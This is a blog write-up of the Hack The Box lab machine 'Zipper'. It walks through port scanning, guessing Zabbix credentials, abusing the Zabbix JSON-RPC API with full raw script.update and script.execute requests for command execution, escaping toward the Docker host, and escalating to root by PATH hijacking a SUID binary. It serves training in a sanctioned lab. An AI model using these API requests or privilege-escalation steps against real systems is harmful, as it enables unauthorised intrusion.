10 - HTB: Zipper



Hack The Box: Zipper

I do a fair amount of HTB, but it's not often I want to do a write up on a box.  Typically, this is because many of the boxes (not all, but I've noticed a lot) tend to have a lot of the typical CTF-y tropes.  Guess the creds, a hint here or there, a random share with a single file on it that has a single set of credentials for something you'll find by doing a zone transfer, or whatnot.

Now, there's nothing wrong with machines like those, they just don't really pique my interest and I usually get frustrated, as I'm trying to approach from a perspective of learning and practicing my skills vs. real-world targets.  I don't like tricky little 'Gotchas!' in HTB's-- it reminds me of movies that break the fourth wall.  Zipper wasn't one of those boxes.  It was quite good, and definitely more along the lines of realism due to the technologies in use.  A legitimate open-source application, Zabbix, a Docker install and a clever privilege escalation technique put this machine in my top three, for sure.

01 - Enumeration

So as is typical, I start with my nmap 1024 to survey the land prior to running slower, all-ports scans:
root@kali:~/hackthebox/zipper# nmap -sT -T4 10.10.10.108 -oN 1024.txt
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-04 10:07 EST
Nmap scan report for 10.10.10.108
Host is up (0.11s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 13.07 seconds

SSH, HTTP, pretty normal.  SSH didn't return a pretty banner and HTTP has a default Apache welcome page.  An all ports scan includes one additional port, 10050/tcp, that our /etc/services file suggests is 'zabbix-agent'.  Running a service scan on the known open ports returned the following:
root@kali:~/hackthebox/zipper# nmap -sV -oN service.txt -p22,80,10050 10.10.10.108
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-04 10:24 EST
Nmap scan report for 10.10.10.108
Host is up (0.11s latency).

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http       Apache httpd 2.4.29 ((Ubuntu))
10050/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.74 seconds

Pretty boring actually-- nmap sees a tcpwrapped port for 10050/tcp which is unfortunate, but let's assume it's 'Zabbix' for now.

The first thing I usually do on unknown ports is try to hit them in a web browser.  No such luck.  Connecting to it over raw sockets doesn't yield anything either, and as soon as any data is sent the connection is closed.  Googling 'Zabbix exploit' yields quite a few responses, with many referencing a web application install.  Nikto didn't find anything particularly good on port 80, but with the info that Zabbix is likely running, it was a quick guess to find the Zabbix URI.  In the event the path wasn't /zabbix' I would have started with a quick gobuster / dirb / dirsearch.py with small lists, increasing list size until I find stuff.


Being a web-app tester primarily, I'm pretty much always running Burp Suite-- I'd make it a habit of getting acclimated to the interface and usage-- your browser will interfere with what you send, so it's best to just use a proxy.

So, default creds of 'admin:admin' and 'zabbix:zabbix', etc, didn't work.  However, the 'sign in as guest' functionality does.

02 - A Wild Target Appears

Anytime I see a web app like this one, especially with the port scans (and seriously limited footprinting I did), I just assume this will be the vector.  Especially with all the published exploits.


Above is the 'guest' interface.  This is clearly a fairly robust application-- even guest access seems to grant a lot of usability, however after perusing and clicking around, it does appear to be fairly limited in the abilities of the guest user.  I can't seem to change anything, nor really find anywhere to try to change anything.

With the limited usability of the app, I was able to ascertain some information, albeit limited.  The Monitoring portion serves as a way to see the results of running 'scripts' it seems and likely run them ourselves once the proper access is achieved.

Check out this screenshot:


There appear to be two distinct devices-- 'Zipper' and 'Zabbix'.  That's good info to know.  We can actually tell at least 'Zipper' is a legitimate hostname, as script that runs 'agent.hostname' returns 'Zipper'.

Another intriguing thing is this 'Zapper' value that is all over this application.  It's usually referencing 'Zapper's Backup Script', or at least using some form of possessive ( 's ), which suggests it's a person, or an account, etc.

It's best to start small when trying to find a foothold, then work your way up to more complex things.  This is just a good rule of thumb in general, why waste a bunch of time running a bruteforce when the login is 'admin:admin'?

Following that simple logic, trying to log in with 'zapper:zapper' gives an interesting error.  'GUI access disabled.'

Intriguing.

Well, with GUI access disabled, there's obviously some other method of interaction.  We know 10050/tcp is open, but after two seconds of googly-goo it's clear there's a fairly robust API in pace as well.  Zabbix has astounding documentation publicly available for interacting with the API, and after some looking it's clear that multiple of these public exploits are leveraging it.  Specifically, multiple references are found for RCE on pages like '/api_jsonrpc.php' and '/jsonrcp.php'.  There are also multiple SQL injection vulnerabilities, but playing with API's is a forte of mine so I started there.

http://10.10.10.108/zabbix/jsonrpc.php returned a 404, but '/api_jsonrpc.php' returned a '412 Precondition Failed'.


412 is an interesting error.  The actual definition is fairly vague, but does give us some info:

"The HyperText Transfer Protocol (HTTP) 412 Precondition Failed client error response code indicates that access to the target resource has been denied. This happens with conditional requests on methods other than GET or HEAD when the condition defined by the If-Unmodified-Since or If-None-Match headers is not fulfilled. In that case, the request, usually an upload or a modification of a resource, cannot be made and this error response is sent back."

Approaching this objectively, the title 'Precondition Failed' and the definition suggesting 'conditional requests' gives us some great information.  Additionally, look at our response in Burp, there are two rather telling headers that seem to coincide with our error:

'Access-Control-Allow-Headers' and 'Access-Control-Allow-Methods'.  With my webapp testing background it was clear why there were issues-- looking at API documentation, or even the expected structure of requests can yield the answer, as well.

Specifically, this API is expecting POST requests (typical of APIs, unless it's a REST interface), but also has requirements upon the inclusion of any 'Content-Type' header.  This last bit is actually really useful.  I've come across applications during actual tests that respond with similar 4xx errors when requests are issued that don't meet the criteria, as above.  In some cases, applications will be fairly verbose in what they require; sometimes it's as simple as providing the correct 'Content-Type' header, or HTTP verb.

Someone made a large list of supported mime-types available here: Free Formatter

I turned that into a wordlist: mimeTypes.txt

So, I didn't need a wordlist for this one as it was pretty simple, but the above is quite useful for fuzzing.  The Zabbix server just wants a POST request with properly formatted JSON.  So, our header should be set to 'Content-Type: application/json'  Simple.

This time we have a very different response:

Request:
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.10.10.108
Content-Type: application/json
Content-Length: 4

{}
Response:
HTTP/1.1 200 OK
Date: Mon, 04 Mar 2019 16:30:46 GMT
Server: Apache/2.4.29 (Ubuntu)
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 1000
Content-Length: 140
Content-Type: application/json

{"jsonrpc":"2.0","error":{"code":-32600,"message":"Invalid Request.","data":"The received JSON is not a valid JSON-RPC Request."},"id":null}

Neat.

03 - A broken scripty boi

We have API interaction, and a plethora of exploits to peruse.  After fiddling around with various exploits and reading their sources, I started leaning towards ones like the following: Zabbix 2.2 < 3.0.3 - API JSON-RPC Remote Code Execution  A mouthful of a name, this script, and others like it, do three distinct things:
  1. They login
  2. They issue a 'script.update' command
  3. They issue a 'script.execute' command
They all look very shwanky and pretty, multiple even sporting fancy ASCII art, but really they're very simple.  

The first thing I did before interacting with anything was look at the API documentation.  The documentation for script.update tells us that it technically only requires one  parameter, the script ID, which will be assigned to an array (also implying it needs to be an integer).

The script.execute API call is pretty straight forward as well, and requires two arguments: the script ID and host ID.  Now, looking back at the exploits, it's fairly easy to understand what's going on.  The kicker is that all this functionality requires authentication, so that's the first place to start.

I tried running the exploit-- nothing happened.  The script hung.  Makes sense, it takes no command line arguments, so I needed to change that.  Already -1 point for bad script.  Changing it to the zabbix root and rerunning was better, but still nada:
root@kali:~/hackthebox/zipper# ./zabbixPwn.py 
[zabbix_cmd]>>:  id
Traceback (most recent call last):
  File "./zabbixPwn.py", line 55, in 
    "auth" : auth['result'],
KeyError: 'result'
root@kali:~/hackthebox/zipper# 

Bummer.  This is one of those scripts that's intended to be well made, a fire-and-forget type of thing.  Unfortunately, it's far too often that they're written pretty poorly, with limited portability and a less than desired ability to easily troubleshoot-- usability was sacrificed in favor of aesthetics.  Running tcpdump, then the script, shows us what we're looking for:
root@kali:~/hackthebox/zipper# tcpdump -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2 -="" tcp="" xf0="">>2)) != 0)' -i tun0
...

POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.10.10.108
content-type: application/json
Content-Length: 116

{"params": {"password": "zabbix", "user": "Admin"}, "jsonrpc": "2.0", "method": "user.login", "auth": null, "id": 0}
...

HTTP/1.1 200 OK
Date: Mon, 04 Mar 2019 17:08:45 GMT
Server: Apache/2.4.29 (Ubuntu)
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 1000
Content-Length: 122
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json

{"jsonrpc":"2.0","error":{"code":-32602,"message":"Invalid params.","data":"Login name or password is incorrect."},"id":0}

That makes sense, I didn't change the username and password to anything valid.  In fact, I haven't even vetted that zapper can log in via this interface, but this would be a good way to find out.  So, as I really like to see what's happening behind the scenes, rather than use a poorly veneered script, I plugged the request into Burp, made the modifications, and viola:


Now we have an authentication token.  Now if you recall, the 'script.xxxx' API calls only required a parameter or two, but what they both had in common was the inclusion of the 'auth' key-value pair.

Now, you'd think running the script again with the correct user/pass combo would be what we needed, but it's still not working.  Why? Well, the application straight up tells us:

Login:
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.10.10.108
content-type: application/json
Content-Length: 117

{"params": {"password": "zapper", "user": "zapper"}, "jsonrpc": "2.0", "method": "user.login", "auth": null, "id": 0}

HTTP/1.1 200 OK
Date: Mon, 04 Mar 2019 17:10:54 GMT
Server: Apache/2.4.29 (Ubuntu)
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 1000
Content-Length: 68
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json

{"jsonrpc":"2.0","result":"fda8c28e3e64405833d71b9d1e39aa92","id":0}

Script.Update:
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.10.10.108
content-type: application/json
Content-Length: 144

{"params": {"scriptid": "1", "command": "id"}, "jsonrpc": "2.0", "method": "script.update", "auth": "fda8c28e3e64405833d71b9d1e39aa92", "id": 0}

HTTP/1.1 200 OK
Date: Mon, 04 Mar 2019 17:10:55 GMT
Server: Apache/2.4.29 (Ubuntu)
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 1000
Content-Length: 53
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json

{"jsonrpc":"2.0","result":{"scriptids":["1"]},"id":0}

Script.Execute:
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.10.10.108
content-type: application/json
Content-Length: 147

{"params": {"scriptid": "1", "hostid": "10084"}, "jsonrpc": "2.0", "method": "script.execute", "auth": "fda8c28e3e64405833d71b9d1e39aa92", "id": 0}

HTTP/1.1 200 OK
Date: Mon, 04 Mar 2019 17:10:55 GMT
Server: Apache/2.4.29 (Ubuntu)
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 1000
Content-Length: 144
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json

{"jsonrpc":"2.0","error":{"code":-32500,"message":"Application error.","data":"No permissions to referred object or it does not exist!"},"id":0}

'No permissions to referred object or it does not exist!'

It's not perfect, but it's verbose enough.  This error gives us enough information to work with alone, or you could simply google it.  Zabbix is well known, and lots of people experience lots of issues.  Before diving in too deep though, think about what's being displayed back in context of the steps that just took place.
  1. The script logged in successfully-- auth token acquired.
  2. A script was 'updated' with the command 'id'.  It appears to be successful.
  3. An attempt to issue 'script.execute' was made, but an error occurred.
Seems simple enough, but is it enough information on it's own to ascertain the cause, without any extra information?  Yes.

Pay attention to the parameters that were issued in each request, and when the error occurs.

One additional parameter not seen in previous requests is 'hostid'.  According to the API documentation: 'ID of the host to run the script on'.  Makes sense, not sure it's necessary to even look that up, but it looks like more information is needed.  There are multiple ways to approach this problem.  We have an unknown ID that seems to return an error when an incorrect value is issued.  For starters, we could start fuzzing the 'hostid' param until we find a valid one (or multiple).  Although effective, it's time consuming.  That's a pretty standard go-to, but in this case we have a whole API we can leverage-- can we just retrieve host IDs?


host.get, anyone?

Annnndddd:



The first returned parameter value: hostid.  Notice the difference between the two requests, one is for Zipper, the suspected host name we saw earlier, the other for zabbix, another suspected host name.  We now have two IDs, 10105 and 10106.

What happens if we change that script to include the valid host ID?  Well, against 10105, it fails.  However, we get our first command execution against 10106.  Looking at the error message, it actually tells us quite a bit about what might be happening...  For the sake of simplicity, here's the important part of the response for 'script.execute' against 10105:
{"jsonrpc":"2.0","error":{"code":-32500,"message":"Application error.","data":"Get value from agent failed: cannot connect to [[127.0.0.1]:10050]: [111] Connection refused"},"id":0}
Now, on it's own this doesn't seem like much.  But think about it!

Why would the script fail against the host ID 10105 with an 'unable to connect to 127.0.0.1:10050' error, and work against 10106?  Our nmap scan returned 10050 as openWe know it's open.  

... It is open, right?




04 - What the shell?

So, we now have the ability to connect to the API with authentication, update scripts and execute them on the server.  Neat.  Obviously, the next step is getting a shell.

With command execution, we have a lot of options.  My initial thought when it comes to getting shells on linux machines is by using netcat.  Netcat has it's advantages-- it's usually installed on linux machines, it's easy, and generally doesn't have too many restrictions.  There are some caveats that come along with netcat, though.  It's unencrypted and utilizes raw sockets for connections, which makes it easy to eavesdrop on and spot-- depending on the installation, it also may not have the '-e' flag, which is necessary to obtaining a shell, reverse or bind.

Since it's a linux machine, it may also be possible to redirect the input and output of Bash to /dev/tcp -- effectively piping the I/O to a remote machine.  Thinking about our vector though, this may prove a bit difficult as we'd be using special characters, such as quotes and ampersands (&), which will need to be encoded to be passed to the application within JSON to maintain proper syntax.  This remains true for most code execution within web requests / parameters, especially those within a POST or GET parameter / value pairs.

Beyond our typical styles of code execution, Zabbix itself gives us another option, though.  It requires a few hoops to jump through, but for the sake of being thorough, I'll explain.

API, SHMAY-PI... CLI?

So, for those doing their research, Zabbix doesn't only offer a web based API, but a whole CLI, as well.  Now, although potentially unnecessary, how could this help?

I wasn't sure, so the easiest way to figure it out was, well, giving it a shot.  Installation is as easy as 'apt-get install zabbix-cli'.  Configuration, also a breeze (google is your friend).  Once installed, enter 'zabbix-cli' and a prompt for credentials appears.  'Zapper:zapper'?  You betcha.




Okay, okay, so as to not get too ahead of myself, does this even help?  We already have command execution.  Perhaps not the end all, be all, this interface CAN be leveraged easily, and in the event RCE hadn't been located within API calls, this is a viable method to a similar end result.

Out of the available commands, many stand out, but rather than immediately making configuration changes, a bit of enumeration is again, necessary.  Running 'show-users' yields some interesting information:


There are three users, so we now have confirmation on that.  Looks like both Zapper and Admin have the same over all privilege level 'Super Admin', but Zapper's account information clearly indicates the lack of GUI access.  As Zapper is an admin, perhaps it's possible to move them into a group with access to the GUI.


I added Zapper to the 'Zabbix Administrators' group, then removed them from the 'No access to frontend' group.  Below, I was then able to log into the GUI as Zapper:


After exploring for a while, a couple locations piqued my interest.  First off, previously observed were references to 'Zapper's Backup Script'-- though no information had yet been found.  Within the 'Configuration -> Hosts -> Zabbix -> Items' section, the actual entry for this script can be seen.  This entry contains a description for the script, which likely gives some clues as to how to make a new script with a command in it and have it fire (references to creating a graph and trigger):


Thinking about it, it's known that code execution can be obtained via modification of scripts.  This script likely does something important, so I decided to keep it in the back of my mind.  I moved on to the 'Administration -> Scripts' section, and saw what I wanted:


It's pretty clear that command execution can be obtained by modifying these scripts, then running them somehow.  In fact, this appears to simply be the GUI equivalent of the JSON requests I was sending earlier.

To execute a script, go to 'Monitoring -> Latest Data'.  You'll want to add the desired hosts to the filter, then they'll appear and be able to be interacted with.  Simply clicking a host lets us run a script against it.  I created a Test script to run 'ls /bin'; Zabbix opens a new window and displays the results.  It's a hackers dream-- RCE as a feature in the webapp.


This feature can easily be abused to gain a shell.  After listing out several directories, I found that wget is installed, so it'll be a piece of cake getting a shell on there if I wanted.  Although netcat and bash shells are a blast, msfvenom is preferred for usability if able-- so that's what I did.

So, obtaining a shell via this method is easy-peasy.  Update the script to pull down a shell, chmod it and execute it with a listener.  It's not even necessary to use metasploit, as this isn't a meterpreter payload and it's effectively a raw socket shell, but I had it ready anyway so I decided to just use it:


And, shell:


Slow the shell down, man

Shell access obtained, on to root?  Not quite.  Shells are great and all, but it quickly became apparent that the shell I just gained was within a docker instance.  Tell tale signs of no '/home' directories, what appeared to be a randomly generated host name: '0023189df54e' and lastly, the presence of a '.dockerenv' file within the root of the drive.


Perhaps it's a simple matter of running the script against the other host?

No dice, same result.  On a docker instance.  There's something that was overlooked earlier-- let's jump back and check it out.  On the page where the 'Test' script was created, there's a specific box I selected.  Specifically, this is the 'Execute On' box, which specifies the script should be run on X host.  In this case, I had selected 'Zabbix Server' initially, which seemed correct.  It's not that it's not correct, it's just that I actually want to be shelling the other device.

So, running the script on the other device wouldn't fix it, as the script itself is set to statically only run on 'Zabbix Server'.  Modifying that is successful in getting a shell on another device, only there's a catch-- an ambiguous error:


'Timeout while executing a shell script.'  The shell opens, then closes pretty much immediately.

Intriguing.  Not what was expected, and not what was happening earlier when the Zabbix Server was shelled.  I did some research and found that it may be possible to extend the 'Timeout' values on scripts, but it would be difficult to figure out exactly how, and things pointed to the idea of having access to the configuration files.  Perhaps the zabbix-cli could help, but I didn't bother.

The fix?  Appending an ampersand '&' to the end of the script command.  This shoves the last command into running in the background, effectively bypassing whatever timeout is implemented.  Viola, a stable shell.


And, additional confirmation that Docker is involved.

Unfortunately, it wasn't so cut and dry as I thought.  Under the home directory resided one account folder: 'zapper'.  Look at the above screenshot.  I'm zabbix, not zapper.  'cat /home/zapper/user.txt'?  Permission denied.  My worst fear.

GUI, shmooey.

As prior, I mentioned that using the CLI enabled some additional abilities on the application, but was it necessary?  Wasn't there code execution to begin with?  Yes, there was, but unfortunately there are some limitations.  I logged in to the API as zapper, acquired an auth token, and updated a script to execute a shell.  In the following screenshot, I issue the 'script.execute' method against the script that was updated (scriptid: 1).... and it errors:


Why?  Well, if you look at what agents are running where, the one on the actual zipper host isn't located at 127.0.0.1, it's actually running at 172.17.0.1:10050, which can be seen in 'Configuration -> Hosts'; looks like Zabbix defaults to 127.0.0.1

What it really comes down to is that the Zabbix agent isn't running on the server.  It's actually pointing to the docker instance.  So, even if you managed to shell the Zabbix server via the above method, it would end up shelling the docker instance.

Bummer.  Good to know, though.

05 - We need more privilege!

So, now that both devices have been shelled, it becomes a game of privesc.  It can be frustrating hitting wall after wall, but it's also enticing.  It always goes back to enumeration.  I remembered that the backup files existed, and appeared to exist on both machines.  The problem though-- they were password protected.

That's a bummer.  They're probably pretty important though, so I started looking for anything associated with zabbix.  I eventually stumbled upon a file conspicuously named 'backup_script.sh'.  Where?  '/usr/lib/zabbix/externalscripts'  This file is also world readable and exists within zapper's home directory, under '/home/zapper/utils/backup.sh'-- the author of this machine is kind enough to provide it in multiple locations so as to not be too cheeky.

That sounds an awful lot like it might be the 'Zapper's backup script' referenced so many times...
cat /usr/lib/zabbix/externalscripts/backup_script.sh
#!/bin/bash
# zapper wanted a way to backup the zabbix scripts so here it is:
7z a /backups/zabbix_scripts_backup-$(date +%F).7z -pZippityDoDah /usr/lib/zabbix/externalscripts/* &>/dev/null
echo $?
Aye, that be what we be lookin fer, fer sure.

I unzipped the files, and to my dismay I realized they were useless to me.  They're backups.  It backs up every hour, according to the description.  I didn't need these-- they were just clues.  Although the files were simply clues, I've done a CTF a time or two:


Yeah, that's what I thought.  The first privesc is complete.

From the makers of 'PrivEsc' comes this year's hottest sequel-- Critics say it'll leave you so excited and wanting more you'll be smashing your keyboard with your chair:

PrivEsc - 2
Prepare ur butts

So, unfortunately, all that was just for user.

Again, as mentioned prior, as soon as a wall is hit, it becomes time to enum, again.  Thankfully, I don't have to venture far. a particular directory exists within zapper's /home-- named 'utils'.  Within that are multiple files, the backup.sh script and a file named 'zabbix-service'


Note something important in this image.  The zabbix-service file has SUID bits set.  This can allow files to run in the context of other users, and is essentially how things like sudo work.  

Now, how to tell what exactly to DO with this binary is another problem.  I really like reversing and exploit dev, so I started to dig into the binary a little bit, and with some research, came across something that might work.
zapper@zipper:~/utils$ strings zabbix-service
strings zabbix-service
...
systemctl daemon-reload && systemctl start zabbix-agent
stop
systemctl stop zabbix-agent
[!] ERROR: Unrecognized Option
...
...
I took the liberty of cleaning a lot of the crap out of the strings output, to focus solely on a few lines.  systemctl.  Running 'objdump -d zabbix-service' allows for a more granular look:
000006ed <main>:
...
 7c2: e8 a9 fd ff ff        call   570 <system@plt>
...
 7ec: 8d 83 85 e9 ff ff     lea    -0x167b(%ebx),%eax
 7f2: 50                    push   %eax
 7f3: e8 78 fd ff ff        call   570 <system@plt>
...
 83f: 90                    nop

The above is simply a disassembly of the binary, with arbitrary information removed.  It's not super useful, but it's nice to know the multiple ways of obtaining and verifying information.  Knowing this binary uses common functions is great, but how does that help?  In the context of windows, perhaps you've heard of DLL hijacking?

A similar situation can occur in linux, as well, where linux machines rely on a user's $PATH to ascertain the location of required functionality.  If you can put in a binary that an executable searches for, prior to the path it is supposed to be located at, you can priv esc.  In this case, I was able to leverage zapper's $PATH to create a malicious systemctl binary that launches '/bin/bash' and shoves me into a root level-shell, instead of doing what it's supposed to.

It was far from pretty, but I wrote out the systemctl.c file by echoing in each line, one by one.  I put that into one command, compiled it and ended up with a binary in the same directory.


All that's left is to update zapper's path with the current directory, and run the thing.  Hopefully.
zapper@zipper:~/utils$ export PATH=/home/zapper/utils:$PATH
zapper@zipper:~/utils$ $PATH
bash: /home/zapper/utils:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games: No such file or directory
zapper@zipper:~/utils$


Gottem.

Takeaways

I really enjoyed this box-- it definitely felt a lot more lifelike than lots of other HTB's I've done, with very few tricky / guesswork-y moments.  Too much information disclosed, an exposed API, poorly configured services in a potentially robust environment.  Fantastic.

It's no uncommon to see APIs accessible in the wild, and I have on multiple occasions done some nasty things with them during client pentests.  Another thing I really liked about this machine was the inability to go straight to user.txt.  It wasn't done in a way that felt cheap, like forced jail or a limited shell for the sake of a limited shell (arbitrary difficulty)-- it was performed through the use of additional layers of technology that are becoming more prevalent.  As attackers, we need to stay sharp and recognize what environments we might be in-- look for clues, follow leads, and eventually prevail.

Lastly, the privesc wasn't even something I had considered initially.  Once I saw the setuid bit, I assumed it was likely the way to go, but then became a question of 'How do I use it?'.  I asked around, I got ideas, I tried 75 things that didn't work.  That's how it goes.  At the very least, and my standpoint as always is: 

"I didn't waste time, I just spent a day figuring out a bunch of things that didn't work."


Comments

Popular posts from this blog

06 - How to maybe not be so bad at fuzzing, Part 2

07 - Just Another OSCE Review

05 - How to maybe not be so bad at fuzzing, Part 1